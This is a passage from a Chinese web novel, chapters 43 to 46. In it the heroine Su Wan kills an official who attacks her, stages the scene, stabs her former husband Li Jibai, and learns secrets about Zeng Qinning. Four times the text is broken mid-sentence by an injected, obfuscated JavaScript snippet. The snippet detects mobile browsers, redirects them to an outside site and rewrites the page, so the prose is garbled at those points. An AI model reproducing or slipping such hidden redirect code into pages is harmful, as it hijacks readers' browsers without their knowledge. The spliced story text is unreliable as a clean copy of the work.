这份既要又要的扭曲心思,如今全转嫁到了苏晚身上。他既想将这张酷似婉娘的脸攥在手里,又贪恋拿捏她秘密的快感,一想到能让这位即将嫁给赵衾的“准夫人”,沾上与自己有关的污名,他便觉一股隐秘的兴奋从心底窜起。 三日后,苏晚正在账房核对漕运货单,门外的小厮忽然送来一封封口潦草的信。她捏着那枚带着劣质熏香的信封,指尖刚触到封口,便觉内里硌着硬物。 拆开一看,信笺上的字迹油腻又轻佻,无非是邀她去“烟雨楼”一叙,说有谢家私贩禁运物资的证据相赠。而信纸夹层里,竟真的掉出半张泛黄的货单,上面的朱砂印记,正是谢家商行独有的戳记,且货物品名一栏,赫然写着“硝石”二字。 谢家私通北狄,倒卖军械的事,苏晚追查了两月,如今方铭岂主动送上门,这一趟,她必须去。她从隔层摸出那柄藏了许久的短匕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828608|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匕首是当年靖安侯府的旧物,淬过特殊的药,见血封喉,她将其缠在腰间,又拢了拢外衫,确保行动无碍。 她甚至已经想好了说辞,若方铭岂敢动手动脚,她便以“自保反杀”为由,再借赵衾的势力压下此事,神不知鬼不觉。 暮色四合时,苏晚乘着青布小轿到了烟雨楼外。刚掀帘下车,便撞见了那个熟悉的身影。 李既白站在廊下,阑夜色长衫被晚风拂起一角,手里攥着个酒壶,酒液顺着指缝往下滴,在青石板上晕开深色的渍痕。他显然是等了许久,眼底的红血丝混着酒气,让那双素来清明的眸子,添了几分破碎的狼狈。 苏晚心头一紧,下意识想转身避开,却已被他瞧见。李既白踉跄着上前,伸手想抓她的手腕,又在半空中堪堪停住,指尖蜷缩了几下,最终只落得个攥紧衣袖的动作。 “晚晚……”他的声音沙哑得厉害,“他们都说,你要和赵衾成亲了。” 苏晚垂着眼,不愿在他身上多费功夫,但又怕他纠缠,于是软了半分语气:“李既白,我们的相识是我挑起的,我还从没有过后悔的事。” 这话没头没尾,李既白却如遭雷击,僵在原地。他望着苏晚转身的背影,脑子里翻来覆去都是那句“没有后悔”。 他自我攻略着,她是说,她后悔的是后来的误会,后悔的是假死离开,却从不后悔与他相识?是了,她心里定是还有自己的,否则怎会说这样的话。 他站在原地,他怔怔地看着她消失在走廊尽头的背影。任凭晚风吹散酒意,心头竟生出一丝荒谬的希冀,全然没注意苏晚早已快步走进了烟雨楼,连头都没回。 烟雨楼三楼的厢房,熏香混着脂粉气,腻得人发慌。方铭岂早已候在里头,见苏晚进来,眼神黏在她脸上。 “苏娘子果然胆识过人,竟真的敢孤身赴约。” “方大人有何指教,不妨直说。”苏晚站在门边,不肯再往里走,语气冷淡。 “指教?”方铭岂笑着倒了两杯酒,自己先饮一杯,“指教谈不上。只是那日得月楼一别,方某对苏管事念念不忘。今日邀约,一是想与苏管事再续前缘,品香论道;二嘛……” 他晃了晃手中的酒杯,“方某手中,还有些更有趣的东西,想必苏管事会感兴趣。比如十年前淮水决堤,三万民夫尸骨无存,朝廷百万赈灾银不翼而飞……的真正账目。” 苏晚心头剧震!这比贪墨治河款更加骇人听闻!若真拿到,谢家必死无疑! 但她面上依旧不动声色:“方大人说笑了,民女不懂这些。民女与赵二爷已有婚约,今日赴约已是逾矩,不敢久留。而你说的证据,我瞧着不过是些寻常货单,怕是帮不上什么忙。” 她故作懵懂,将那半张硝石货单推回桌上,一副“我不懂这些”的模样,说着便作势离开。 可方铭岂怎会放她走 他本就没指望苏晚真的会为了证据与自己合作,他要的从来都是这张脸。 “婚约?”方铭岂嗤笑,一步步逼近,“赵衾就一个漕帮的泥腿子,也配?苏管事,你跟了他,无非是图他几分势力。他能给你的,我方铭岂能给得更多!谢家的秘密,滔天的富贵!” 眼看苏晚退到门边,方铭岂再也按捺不住,猛地扑了上来,就要用强。 “婉娘……我的婉娘……今晚你便是我的……” 他的话没说完,便觉脖颈处传来一阵冰凉。苏晚不知何时已抽出了腰间的短匕,刀锋精准地抵住了他的动脉。 她眼神冷得像寒冬的冰,哪还有半分方才的温婉:“否则如何?” 方铭岂先是一愣,随即嗤笑出声,仗着自己身量高,竟想反手去夺匕首,嘴里还污言秽语地叫嚣:“小贱人,还敢跟我耍横?今日我定要让你知道……” “知道什么?”苏晚的声音没什么起伏,手腕却陡然发力。 利刃划破皮肉的声响,混着他喉咙里漏出的嗬嗬声,在厢房里显得格外刺耳。温热的鲜血瞬间喷涌而出,溅了苏晚一手一脸。 方铭岂不敢置信地瞪大眼睛,双手胡乱地抓着脖颈,却只攥到满手温热的血,身体软软地倒了下去,最后落在地上时,连呼吸都没了。 苏晚缓缓收回匕首,随手用桌上的锦帕擦去刀上的血迹,又将锦帕塞进方铭岂的袖中。她垂眸看着地上的尸体,眼底没有半分波澜。 44. 第四十四章 毕竟她前世杀曾钦宁的时候,那喷溅的血比现在还要壮观,而在杀曾钦宁之前,她更是将诬陷黎昭华的畜生都杀了个遍。只不过也因为此举,前世的她才被小人抓住把柄入了地牢。 苏晚整理了一下衣衫,她蹲下身,在方铭岂身上快速摸索,果然在内襟暗袋里摸到用油纸包着的纸张。来不及细看,她迅速收起。然后,她开始布置现场。 她将自己被撕扯得有些凌乱的衣襟拉得更开一些,发簪拔下,头发弄乱,脸上故意蹭上更多血迹和灰尘,做出激烈挣扎过的样子。 又将方铭岂的尸体拖到离门稍远的位置,伪造出他想施暴却被反杀的痕迹。她将匕首塞回方铭岂手中,做出他意图行凶却不慎滑倒自戕的假象。 尽管漏洞很多,但在这种地方,一个盐铁转运使企图强b有婚约的女子却被反杀,本身就足以引发无数猜测,官府也很难深入追究,尤其当死者涉及谢家丑闻时。 做完这一切,她估算着时间。竹儿应该已经通知赵衾了。 她最后看了一眼方铭岂的尸体,眼神冰冷无波。 肮脏的欲望,终以肮脏的方式结束 她拉开门,故意发出了一声惊恐的尖叫:“啊!非礼了!” 她踉跄着冲出房间,脸上带着“惊魂未定”的泪痕与血迹,朝着人多的前厅跑去。 廊下的风更凉了,李既白攥着酒壶的手迟迟没松开,苏晚那没头没尾的话还在他脑子里盘旋,可心头那点荒谬的希冀,很快就被厢房方向传来的凄厉声搅得粉碎。 他几乎是下意识丢了酒壶,踉往三楼冲。烟雨楼的宾客早被那声尖叫惊得四散,杯盘碎裂声和惊呼声混作一团。 李既白逆着四散奔逃的人流,正撞见苏晚浑身是血地从里面踉跄跑出,她衣衫凌乱,发丝散落,眼神空洞。 “昭昭!”他脱口而出那个名字,触到她冰凉的手腕时,却敏锐地察觉到她脉搏稳得异常,没有丝毫慌乱。 李既白垂眸扫过她脖颈处完好的肌肤,又瞥见她藏在袖中的手,心头一沉。 他太了解她了。从前在靖安侯府,她被刁奴刁难,转头就能笑着把对方整治得哭爹喊娘,连父亲都赞她“外柔内刚,有七窍玲珑心”。如今这副梨花带雨的模样,分明是演给旁人看的。 可没等他开口,另一道更快的身影猛地插了进来,一把将苏晚揽入怀中,用宽大的披风将她严严实实地裹住。 是赵衾 他接到竹儿的报信便立刻赶来,恰好赶上这场混乱。看到苏晚这副模样,他眼底充血,怒意与后怕交织。他紧紧抱住苏晚,感受到她身体的颤抖,心头杀意升腾。 “晚晚,别怕,我来了。”他低声安抚,然后猛地抬头,敌视着对面的人:“李大人!此地发生命案,我未婚妻受惊,还请大人让开,我要带她离开诊治!” “命案?”李既白恢复了钦差的冷峻,明知故问:“何人出事,发生在何处?” “是……是方铭岂方大人。”苏晚从赵衾怀中抬起头,“他,他邀我来此,说是有要事相商,谁知,谁知他竟欲行不轨。我挣扎间,不知怎的,他就倒下了,流了好多血……”她语无伦次,只得将脸深深埋在赵衾怀里。 李既白命令紧随其后的墨痕:“任何人不得出入!传仵作和淮州知府!” 现场很快被控制。天字三号房内,方铭岂倒在血泊中,脖颈处伤口狰狞,手中握着带血的匕首,现场一片狼藉,确实像是一场激烈的反抗导致的死亡。仵作初步查验,伤口角度和力度有些蹊跷,但结合苏晚的陈述和方铭岂素日风评,这种“强迫未遂反遭横祸”的推论似乎也说得通。 淮州知府王大人匆匆赶来,一看死者是方铭岂,头皮都炸了。这可是谢家的女婿,盐铁转运使!死在青楼,还是因为试图强b而被反杀……这案子怎么查都是烫手山芋! 赵衾始终将苏晚护在身侧,寸步不离,态度强硬:“王大人,李大人,晚晚受此惊吓,身心俱损,必须立刻回府静养,请大夫诊治!此案缘由清晰,乃是方铭岂自取其祸!若大人有何疑问,待晚晚情况稳定,赵某自会陪她前来回话!” “苏管事受惊过度,确需休养。”李既白面上看不出情绪道:“但命案关天,尤其涉及朝廷命官,不可草率。王大人,将苏管事暂时安置在驿馆别院,派女医官仔细照料,同时派人看守。在案情未明之前,不得离开淮州城。至于赵二公子,”他目光转向赵衾,“此案你也算关联之人,近期也请勿离开淮州,随时配合调查。” 这是要将苏晚置于他的控制之下,同时隔离她和赵衾。 赵衾脸色一沉:“李大人这是何意?晚晚是受害者,为何要如同犯人般看管?驿馆岂是养病之所?” “正因是受害者,且案情未明,才需官府保护,以免再遭不测。驿馆清静安全,有医官随时诊治,比之龙蛇混杂的外界更为妥当。赵二公子若是不放心,可每日前来探望,但不可久留。” 他态度坚决,不容置疑。 王知府哪边都不敢得罪,只能喏喏应和。 苏晚在赵衾怀中,虚弱地抬起眼,看了李既白一眼。 她知道,李既白起疑了 她轻轻拉了拉赵衾的衣袖,气若游丝:“二爷,我听李大人的安排。我……我好累,想静一静。” 赵衾感受到她的疲惫,心头一软,再看到李既白那不容更改的神色,知道此刻硬碰硬并无好处。 他深吸一口气,压下怒火,“好,晚晚,你先去驿馆好生休养。我每日都去看你。别怕,万事有我。” 于是,在无数双眼睛的注视下,苏晚被李既白的侍卫护送着,离开了这混乱之地。 驿馆别院清幽,确实适合“静养”。女医官为苏晚检查了身体,开了安神汤药。侍卫层层把守在外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834267|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜深人静,苏晚独自躺在床榻上。 谢家通过方铭岂的盐铁转运使之便,多年来向北狄走私精铁,盐等战略物资的时间和数量。 方铭岂的这份证据,能让太子直接下台。 想到这,苏晚了无睡意。她靠坐在窗边的软榻上,身上搭着薄毯,目光落在窗外庭院中摇曳的竹影上,看似平静,脑海中却在飞速盘算着如何将新得到的通敌铁证送出去。 轻微的叩门声响起,打破了夜的寂静。 “进来。”苏晚以为是送热水或换药的侍女,声音带着被打扰的疏淡。 门被推开,进来的却是李既白。 他换下了白日里那身威严的官袍,只着一件素色的家常,墨发未冠,少了几分官威,却更显清俊,只是眉宇间锁着化不开的沉郁。 他手中端着个红泥小炉,炉上煨着白瓷药盅,散发出清淡的药香。 苏晚微微蹙眉,下意识拢了拢身上的薄毯,她坐直了身体,戒备地望向他:“李大人深夜前来,有何指教?可是案情有了进展?” 李既白没有立刻回答,他走到桌边,将小炉放下,揭开药盅的盖子,里面是熬得浓稠的燕窝羹,点缀着几颗鲜红的枸杞,热气氤氲。 “女医官说你惊吓过度,心神耗损,虚火上浮,光喝安神汤不够。”他将燕窝羹盛入一个小碗,动作细致,“这是用上好的血燕,加了川贝和冰糖,清心润肺。趁热喝一点。” 苏晚愣住了。 她看着那碗晶莹剔透的羹汤,又看向李既白。烛光下,他侧脸线条依旧冷硬,但端着碗的手指关节微微泛白,泄露了他内心的不平静。 “多谢李大人好意,”苏晚移开目光,“民女已用过汤药,并无大碍。此等贵重之物,民女消受不起。大人若无要事,还请回吧。” 李既白的手僵在半空,碗沿的热气扑在他指尖,却暖不了他心头的寒凉。他没有将碗放下,也没有离开,而是向前走了两步,在距离软榻几步远的地方停下。 “昭昭,”他忽然开口,“我们之间,一定要如此吗?” “李大人,”她强迫自己冷下心肠,转头看他时,却发现不知何时窗外飘进了斜斜的雨丝。 虽没有点灯,可在月光下,李既白那绯色的眼眸却一眼叫人看到。那眸子也蒙了层水雾,很亮,却极冷。 他……竟然哭了吗? 苏晚嘴唇翕动了一下,她原本又想含糊过去的,可现在,她倒想“犯错”了。 “就算我是,”她迎视着他,语气是更带尖锐的嘲讽,“那又如何?别忘了,是你亲手求来那道赐婚圣旨,将我困入侯府!也是你,与曾钦宁出双入对,情深义重!更是你,在我‘死后’不久,便与她同下江南,风光无限!如今,你又摆出这副情深不悔的姿态给谁看?是觉得戏弄我很有趣,还是你觉得“棋子”尚未用尽,舍不得丢弃?” 45. 第四十五章 话落,李既白却再次喷出一口血。 而看着面前景象的苏晚没有任何心软,“李既白,你真的让我觉得恶心。” 她说着起身,抽出了另一把准备在身上的短刃,直直朝李既白胸口刺去。 “噗!” 衣物被划开,素色眨眼间被染成深色。 “李既白!”苏晚大喊一声,“你下地狱去吧!” 屋内的声音将墨痕吸引了过来,他迅速踹门而入,屈膝横踢而来。 可苏晚早已熟悉他的招式,她侧身一闪,眸光狠厉,反而将短刃拔出,顺势发力扔向墨痕的后背。 “来人!”这话,是墨痕喊的,他单手接住了短刃,手上却汩汩流血。 “墨痕!”李既白想阻止,可他根本没有力气了,苏晚特地扎入他的左胸,连带着那次新婚夜的旧伤复发。骨头仿佛有无数只蚂蚁在啃食,血肉再一次炸开。 “李既白,你就这点能耐?”即便仆人们纷纷涌来,可苏晚丝毫不慌,她甚至歪着脑袋,“但你放心,我不可能让你这么轻松的就活下去的。” “放肆!抓住她!” 苏晚任由旁人捆住她的双手,没再看李既白,转身走了。 墨痕扶着李既白,“快传郎中来!” 当夜,苏晚刺杀李既白的消息并没有传出。 苏晚被带回原本的房间,门口的守卫增加了一倍,墨痕亲自布置了人手,确保连一只苍蝇都飞不出去。但她没有被绑缚,李既白昏过去前最后的命令是:“不许伤她。” 房中烛火摇曳,苏晚坐在桌边,手指摩挲着茶杯的边缘。茶杯是白瓷的,在烛光下泛着温润的光泽,与今夜的血色格格不入。 她刺出的那一刀,手感清晰得可怕。 刀刃撞上骨骼的阻滞感,鲜血涌出时的触感,还有李既白那双受伤的眼睛。 苏晚闭上眼,深吸一口气。 她不该这么冲动的。计划里没有这一环。可当李既白说出“我与曾钦宁并非你所想”时,她心中最后的恨意如火山般喷发。 前世那个雨夜,她拖着替他挡下一剑的病体去寻他,却看见他与曾钦宁在书房相拥的画面。 “昭昭……” 他叫她昭昭。 只有最亲近的家人才会唤的小名。 从认识他到现在,一直默认着这个称呼,可现在,她真的不想再这样下去了。 李既白,前世我替你挡下一剑,死前你又刺伤我,今生,我捅你心口两次,这账算是平了,其他的,我都不稀罕了。 门外传来脚步声,是竹儿被允许进来送热水和干净的衣物。她眼睛红肿,显然哭过,看见苏晚安然坐在那里,才稍微松了口气。 “娘子……您没事吧?外面传得沸沸扬扬,说您杀了方大人,又刺伤了侯爷……二爷派人来问,但被墨痕大人拦住了,说侯爷有令,在案情查明前,任何人不得见您。” 苏晚睁开眼,眼神已恢复平静:“我没事。赵衾那边怎么说?” “二爷很着急,已经调动了漕帮的人手,说要强行把您接出去。但王知府派人传话,说此案已惊动了谢家,谢家三爷正从金华赶来,要亲自过问。二爷这才暂时按捺住了。” 谢家三爷,谢昀。谢家当代家主最倚重的弟弟,也是方铭岂的岳父。 “娘子,周坊主也叫您放心,有什么需要尽管找她。” 听着竹儿的话,苏晚双目不由一酸,她摇摇头,“你告诉周坊主,苏晚不胜感激,但一人做事一人当,也劳烦周坊主这些日子的照顾了。” — 李既白的房间里弥漫着药味。 他半靠在床榻上,胸口缠着绷带,脸色苍白如纸。 李既白闭着眼,睫毛颤了颤,哑声开口:“昭昭呢……” 墨痕站在一边,脸色铁青:“她刚刺了您一刀!” “昭昭呢……”李既白重复道,声音极弱,“我想看她……”。 墨痕咬着牙,第一次违抗了指令,“侯爷,我不明白!那个女人如此对您,您为何,” 话未落下,曾钦宁率先封住了他的嘴。 “墨痕,三思后开口也不迟。”她声音清越,可若仔细看,那脸色却比李既白的还要难看。 “钦宁,”李既白唤道,他想要再说些什么,可心口的伤却像是根本粘不住的纸,稍一动作便崩开得只剩下一团空气。 “侯爷。”曾钦宁摇了摇头,“终究是我们做的不对……只是这错的结果,由钦宁一人承担便可。” * 院落被青砖高墙围得密不透风,墙头上爬满藤蔓,风一吹,枯枝便发出吱呀的鸣响。明明已是夏天,却透着秋日的阴凉。 苏晚坐在院内,只撑着下巴呆呆望着,脑海中是想着都是怎么对付谢昀。前世,她记得谢昀在今年的六月初五也因为遭遇“劫匪”暴毙而亡。今日是夏至,离那一天还有半个月。 不过仔细想来,谢昀的死,没准也是有人暗中推动。毕竟那段时间,是她少有的幸福时间,因为那时,曾钦宁南下了。而刚好曾钦宁是七月回的京城,也是从七月开始,她才变得不幸,每日看着李既白与自己越来越冷淡。 “苏管事,我能进来吗?” 门外的声音拉回她的思绪,苏晚听出来了是女医官的声音,“进来吧。” “苏管事,事发突然,您能帮我个忙吗?” 见她气喘吁吁,苏晚问道:“自是可以,发生何事了?” “是,是曾小姐,她,她自尽了!” “什么?” “不清楚,但眼下驿馆并无其他女眷,我这才来找您,希望能……” 未等人说完,苏晚转过身,“还是另找她人吧。” “苏姑娘!” 苏晚感到手腕被抓住,她眼都未抬,只轻飘飘扫过来人的乞求模样,“像曾钦宁那种人,死了算是上天做了桩好事。” 插足她人感情,污蔑将士,更是一条反动派的狗,她比李既白更可恨。 “苏管事!”那医官率先松开了手,“我不明白您为何要说此话!曾小姐心底善良,待人真诚,外人冤枉她与侯爷就算了,您作为她的朋友,为何也要如此羞辱!” “呵。” 苏晚轻笑一声,并未生气,语气却愈发冷漠,“谁和你说我是她的朋友的?那个李既白我都不放在眼里,更别提她了,最好她们两个都一起死了。” 她来淮州后说过无数谎话,唯有这句,是百分之一千的真话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844572|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “黎昭月。” 苏晚身躯一震,这个名字的全称,久到她快要忘记了。她回过头,确定是那女医发出的。 “钦宁就不该那么心软,不然现在生不如死的就是你!”她说着扑了过来,袖中藏了根银针。 苏晚本以为她要扎自己,可扣住女人的手腕时,她却感到五指间脱力,只余一片空荡。她这才反应过来,那家伙要自尽。 “哐当!” 木桌被撞得移位,茶盏叮当滚落,碎裂一地。女医发出声闷哼,握着银针的手因撞击而松开。苏晚趁机扣住她的手腕,反拧到背后,膝盖抵住她的后腰,将她牢牢压制在地上。 苏晚喘着气,脸上五官似要扭成一团,“你疯了!” “你松开!钦宁死了,我也活不下去!” 苏晚听着轻笑一声,实在不理解怎么会有人为了这么个人渣付出生命,曾钦宁到底给她们灌了什么迷魂药。 “为了她?为了一个心思歹毒,而且踩着别人尸骨往上爬的人?你这条命,就这么不值钱?” 女医的脸颊贴在冰冷的地砖上,挣扎不动,却嘶声笑了起来,“你懂什么……你根本什么都不懂!钦宁她救过我全家!没有她,我爹娘早病死了,我也早被卖进窑子了!她是这世上最好的人! 她的声量拔高,“是你们……是你们这些高高在上的人,还有李既白!是你们逼她的!是你们断了她的路,是你们害得她落到如此地步!” 苏晚的手指猛地收紧。 救人,曾钦宁?那个为了在李既白面前维持“善良”形象,随手施舍点银钱,转头就能利用这份恩情让人为她卖命的女人? 前世零碎的记忆翻涌上来。曾钦宁身边,似乎总是围绕着一些对她感恩戴德的人。仆役、小官、乃至一些落魄的读书人。她曾以为那只是曾钦宁手腕高明,如今看来,或许更早,更深处,就织就了这样一张用“恩情”绑缚的网。 “她救你,你就把命卖给她?”苏晚的声音冷得像冰,“那她让你去杀人放火,你是不是也照做不误!” “杀人放火?”女医在苏晚的压制下剧烈喘息,眼泪混着冷汗砸在地上,“你胡说什么!钦宁小姐怎么可能让我做那种事!她只是……太苦了!她走到今天,每一步都不是自己选的!” 苏晚手上力道不减,讥讽道:“苦?苦到要插足别人夫妻,苦到要污蔑忠良将士?那你倒是说说,她有多苦!” 女医猛地扭过头,眼里的恨意几乎要烧穿苏晚:“你以为她想做那些事吗?她是身不由己!从她十三岁被送进欧阳家,她的命就不属于自己了!” 这话像一块巨石砸入深潭。 十三岁……欧阳家…… 曾钦宁不是布商的女儿吗? “什么身不由己?”苏晚逼问,“说清楚!” 女医却突然闭紧了嘴,像是意识到自己说了不该说的话。她用力挣扎,想从苏晚手下挣脱。 就在此时,院门外传来急促的脚步声和呼喊:“素心!素心医官在吗?曾小姐醒了,说要见您!” 是驿馆仆役的声音。 名叫素心的女医身体一僵,随即更加拼命地挣扎:“放开我!钦宁小姐醒了,她要见我!我得去!” 46. 第四十六章 素心猝不及防吸入,挣扎的力道明显弱了下来,眼神开始涣散。 苏晚松开手,快速整理了一下自己的衣衫和头发,又将素心扶到一旁的椅子上坐下。 几乎同时,院门被推开,一名驿馆仆役带着两名侍女匆匆进来:“素心医官,曾小姐——咦?” 仆役看到屋内景象,愣住了。桌椅凌乱,茶盏碎片一地,素心瘫坐在椅子上,眼神迷离,而苏晚则站在一旁,神色平静地拍着身上的灰尘。 “素心医官刚才突然头晕,”苏晚淡淡道,“差点摔倒,碰翻了茶盏。她需要休息。” 仆役将信将疑,但曾钦宁那边催得急,他只能上前扶起素心:“素心医官,您能走吗?曾小姐急着见您。” 素心在药效作用下意识模糊,只含糊地点了点头,被仆役和侍女搀扶着往外走。 苏晚目送她们离开,关上院门,背靠着门板,深吸一口气。 曾钦宁,竟然与当今宰相一家的欧阳家有联系。 苏晚走到窗边,看着院墙上摇曳的藤蔓,心中第一次对曾钦宁这个人产生了真正的好奇。 曾钦宁靠坐在床头,脖颈上缠着绷带,嘴唇干裂,但眼睛却异常清明。看到素心被搀扶进来,她微微蹙眉:“素心,你怎么了?” “她方才头晕不适。”仆役代为回答。 “你们都下去吧。我有话单独与素心说。” 仆役和侍女退了出去,关上房门。 素心此刻药效稍退,勉强站稳,看着曾钦宁颈间的绷带,眼泪唰地流了下来:“小姐……您何苦……” 曾钦宁扯了扯嘴角,露出一个极淡的笑:“我没事。倒是你,”她目光还是那般温和,“你去见苏晚了?跟她说了什么?” 素心跪倒在床边:“奴婢……奴婢一时情急,跟她吵了起来,还、还差点说漏嘴……” “说漏什么?”曾钦宁撇开头。 “奴婢,奴婢说您身不由己,是被欧阳家……”素心声音越来越小。 曾钦宁闭了闭眼,长叹一声:“罢了。她迟早会知道的。” 她看向素心,“我时间不多了。欧阳家那边……已有所察觉。我提前‘自尽’,就是想打乱他们的计划。” “小姐,”素心惊惶,连忙摇头,“您的身子一定能……” “我的身子我自己清楚。”曾钦宁打断她,语气平静,“三皇子早就给我下的慢性毒,这些年来算着,我撑不过明年春天。如今我这一‘死’,倒也干脆。” 她顿了顿,“素心,这些年,多谢你。” 素心泪如雨下,“小姐别这么说!若不是您,奴婢一家早就……” “那些陈年旧恩,不必再提。你听好,我死后,你立刻离开淮州。”她从枕下摸出一枚小巧的玉扣和盒子,塞进素心手里,“这是我的一些财产,后面,你可以和你的家人团聚了。” 素心握紧玉扣,泣不成声。 “别哭。”曾钦宁抬手,轻轻擦去她的眼泪,“我这一生,活得像个提线木偶。能最后为自己做一回主,也好。” 她望向窗外,眼神飘远,“你也不要对黎姑娘有恶意,这世道本就如此,如果不是黎姑娘,我早就在十年前就死了。” 又是十年前? 屋顶上,苏晚蜷在琉璃瓦的阴影里,一旁的树叶耷拉下来,她却浑然不觉。方才隔着一层窗纸飘出来的话,她全都知道了。 十年前,究竟发生了什么? 这中间,到底有多少秘密? 苏晚的身影像一道悄无声息的影,掠过驿馆的回廊,停在李既白的房门前。她没有敲门,抬手推开虚掩的木门,檐下的风卷着几朵桃花,跟着她一同滑进屋里。 此时,墨痕正端着一碗刚煎好的药,放在床榻边的小几上。听见响动,尤其看到是苏晚的时候,眼神瞬间冷硬如刀,下意识侧身一步,将床榻挡在身后。 “你来做什么?”墨痕的声音压得很低,“是又想害人吗!” 他素来冷峻,从未对苏晚如此直接地表现出强烈的厌恶。 他亲眼看着侯爷替她做的一切,可她却是次次伤透侯爷的心。 凭什么,就凭她是黎昭月?可她哪点配得上侯爷这份心意!墨痕胸口堵着一团火,烧得他五脏六腑都疼。 苏晚站在门内光影交界处,神色平静,对墨痕的敌意恍若未见。她只是看着榻上的李既白。 李既白听到了动静,艰难睁开眼。在看到苏晚的那一刻,他灰败的眼中倏然亮起一点微光,像是溺水之人抓住了最后一根浮木,但那光很快又黯淡下去,被更深的痛楚掩盖。 “墨痕,”他开口,即便休养了两天,声音还是那般虚弱,“……退下。” “侯爷!”墨痕猛地转头,脸上肌肉因为压抑怒气而微微抽动,“她刺了您一刀!您……” “退下。”李既白重复,却因牵动伤口而剧烈咳嗽起来。 墨痕拳头捏得死紧,他狠狠瞪了苏晚一眼,最终却只能咬着牙,极不甘心地退到门外。他没有走远,就守在门边,像一尊煞气腾腾的门神,竖着耳朵留意着屋内的任何动静。 房门虚掩,隔绝了墨痕的视线,却隔不断他那份沉甸甸的敌意。 屋内只剩下两人。 夏风穿过半开的窗,拂动床帐,带来一丝闷热。李既白努力想撑起身,却又无力地跌回去,额上渗出细密的冷汗。 苏晚走近几步,“曾钦宁醒了。”她先开口,却听不出情绪。 李既白眼神微凝,“我知道,她……她不该如此。” “不该如何?不该自尽,还是不该活着?李既白,你可真是怜香惜玉。自己都快死了,还惦记着别人该不该。” 这话刻薄至极 李既白胸口猛地一窒,伤口处传来尖锐的疼痛,但他只是看着她,眼神是一种近乎悲哀的疲惫。“我不是这个意思。” “那你是什么意思?”苏晚向前走了一步,烛光将她的影子拉长,投在李既白身上,“方才我在屋顶,听见曾钦宁和那个叫素心的女医说话。她说,她时间不多了,欧阳家有所察觉,她提前‘自尽’,是想打乱欧阳家的计划。她还说,三皇子早就给她下了慢性毒,她撑不过明年春天。” 她每说一句,李既白的脸色就苍白一分,到最后,他几乎失去了所有血色。 “欧阳家……三皇子……”他喃喃着,眼神剧烈波动,“她都说了?她还说了什么?” “她还说,让我不要对她有恶意,这世道本就如此,如果不是我,她早就没了。” 苏晚盯着他的眼睛,不放过他任何一丝情绪变化,“李既白,十年前,到底发生了什么?曾钦宁,究竟是谁?她和欧阳家,又是什么关系?” 李既白闭上眼,喉结剧烈地上下滚动,仿佛正承受着某种无形的碾压。过了许久,他才睁开眼,眼底布满了蛛网般的血丝。 “十年前……”他的声音像磨损严重的砂纸,“昭昭,那一年,你八岁,我十岁。朝局动荡,谢皇后借着新帝宠爱,联合其母族谢家,发起了一场针对异己的清洗。” 苏晚心头凛然。 那场震动朝野的清洗,她年幼时亦有耳闻,黎家因军功卓著,且阿姊认了皇后为干娘,才侥幸未被卷入漩涡中心。 “曾钦宁……那时候她还叫曾静,是时任都察院左副都御史曾文柏的独女。曾御史为人刚直不阿,在朝中屡次弹劾谢家及其党羽结党营私,是谢家的眼中钉。” 李既白的声音带着回忆的沉重,“清洗开始后,曾御史首当其冲,被罗织罪名,罢官下狱,不久便‘病逝’狱中。曾家被抄没,女眷充入官婢,男丁流放。那年,曾静刚满十岁。” 苏晚的手指无意识地蜷缩了一下。十岁,家破人亡,从御史千金沦为官婢……她仿佛能看见那个小女孩眼中的绝望。 李既白手抖着拿起旁边的水杯,润了两口,“她被发卖为奴,几经辗转,受尽苦楚。原本可能就这样湮没在尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李既白的声音轻柔下来,“黎夫人拗不过你,也确实怜那孩子可怜,便花了十两银子,将她从官奴名册上除了名,带回府中,本想让她在你身边做个伴读丫鬟。” 记忆的闸门仿佛被撬开一道缝隙。苏晚隐约想起,好像是有这么回事……那个小女孩很安静,总是怯生生的,她给她塞过点心,还分过自己的新衣裳……但后来呢? “后来,”李既白似乎看穿了她的困惑,续道,“那孩子在黎府只待了不到半个月。黎夫人发现她时常夜半惊悸,身上还有旧伤,太医来看过,说是心思郁结,惊吓过度,留在府中恐有不便。正好黎家在西境的一支远亲,一对久无子嗣的夫妇来京,黎夫人便将那孩子托付给他们带离京城,去西境静养,也算给她一条活路,脱离奴籍。” 